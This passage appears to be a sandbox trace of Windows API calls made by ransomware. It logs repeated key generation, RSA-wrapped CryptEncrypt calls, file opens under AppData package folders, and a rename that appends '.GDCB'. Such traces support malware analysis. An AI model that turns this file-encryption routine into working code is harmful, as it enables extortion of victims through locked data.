0x74cb0df0 [0293.495] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0293.495] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.495] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0293.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.501] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.501] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0293.501] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.501] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.504] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab6f0) returned 1 [0293.504] CryptGetKeyParam (in: hKey=0x67ab6f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.504] CryptEncrypt (in: hKey=0x67ab6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd680000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd680000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0293.504] GetLastError () returned 0x0 [0293.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.504] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0293.506] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab370) returned 1 [0293.506] CryptGetKeyParam (in: hKey=0x67ab370, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.506] CryptEncrypt (in: hKey=0x67ab370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd690000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd690000*, pdwDataLen=0x285e050*=0x100) returned 1 [0293.506] GetLastError () returned 0x0 [0293.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.506] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.512] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0293.516] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.519] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0293.519] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.519] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0293.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.525] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0293.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.525] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.528] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab3b0) returned 1 [0293.528] CryptGetKeyParam (in: hKey=0x67ab3b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.528] CryptEncrypt (in: hKey=0x67ab3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6a0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd6a0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0293.528] GetLastError () returned 0x0 [0293.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.528] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.530] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab570) returned 1 [0293.530] CryptGetKeyParam (in: hKey=0x67ab570, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.530] CryptEncrypt (in: hKey=0x67ab570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6b0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd6b0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0293.531] GetLastError () returned 0x0 [0293.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.531] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.533] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0293.537] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.539] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0293.539] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.539] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0293.542] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.544] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.545] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0293.545] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.546] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.548] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab630) returned 1 [0293.548] CryptGetKeyParam (in: hKey=0x67ab630, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.548] CryptEncrypt (in: hKey=0x67ab630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6c0000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd6c0000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0293.549] GetLastError () returned 0x0 [0293.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.549] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0293.551] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab730) returned 1 [0293.551] CryptGetKeyParam (in: hKey=0x67ab730, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.551] CryptEncrypt (in: hKey=0x67ab730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6d0000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd6d0000*, pdwDataLen=0x285e050*=0x100) returned 1 [0293.551] GetLastError () returned 0x0 [0293.551] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.551] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.568] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.571] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.574] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.574] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.577] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.579] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.579] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.579] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.582] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab7f0) returned 1 [0293.582] CryptGetKeyParam (in: hKey=0x67ab7f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.582] CryptEncrypt (in: hKey=0x67ab7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6e0000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd6e0000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.582] GetLastError () returned 0x0 [0293.582] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.582] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.584] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abbf0) returned 1 [0293.584] CryptGetKeyParam (in: hKey=0x67abbf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.584] CryptEncrypt (in: hKey=0x67abbf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd6f0000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd6f0000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.584] GetLastError () returned 0x0 [0293.584] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.584] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Microsoft.WindowsAlarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\microsoft.windowsalarms_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.606] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.611] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.611] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.611] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.611] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.617] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.617] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.620] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aba70) returned 1 [0293.620] CryptGetKeyParam (in: hKey=0x67aba70, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.620] CryptEncrypt (in: hKey=0x67aba70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd700000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd700000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.620] GetLastError () returned 0x0 [0293.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.620] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.622] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abaf0) returned 1 [0293.622] CryptGetKeyParam (in: hKey=0x67abaf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.622] CryptEncrypt (in: hKey=0x67abaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd710000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd710000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.622] GetLastError () returned 0x0 [0293.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.623] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Microsoft.WindowsCalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\microsoft.windowscalculator_10.1506.19010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.665] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.672] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.672] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.672] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.678] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.678] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.678] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.679] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0293.681] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abdf0) returned 1 [0293.681] CryptGetKeyParam (in: hKey=0x67abdf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.681] CryptEncrypt (in: hKey=0x67abdf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd720000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd720000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.681] GetLastError () returned 0x0 [0293.681] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.681] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.693] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab930) returned 1 [0293.693] CryptGetKeyParam (in: hKey=0x67ab930, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.693] CryptEncrypt (in: hKey=0x67ab930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd730000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd730000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.693] GetLastError () returned 0x0 [0293.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.693] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0293.695] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.698] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd750000 [0293.701] ReadFile (in: hFile=0x504, lpBuffer=0xd750000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd750000*, lpNumberOfBytesRead=0x285de08*=0x4000, lpOverlapped=0x0) returned 1 [0293.714] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xd860000 [0293.721] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0293.795] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.803] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.803] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.803] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.803] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.810] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.811] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.811] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.812] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.814] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab970) returned 1 [0293.815] CryptGetKeyParam (in: hKey=0x67ab970, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.815] CryptEncrypt (in: hKey=0x67ab970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd720000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd720000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.815] GetLastError () returned 0x0 [0293.815] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.815] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.817] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abbb0) returned 1 [0293.817] CryptGetKeyParam (in: hKey=0x67abbb0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.817] CryptEncrypt (in: hKey=0x67abbb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd730000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd730000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.817] GetLastError () returned 0x0 [0293.817] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.817] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 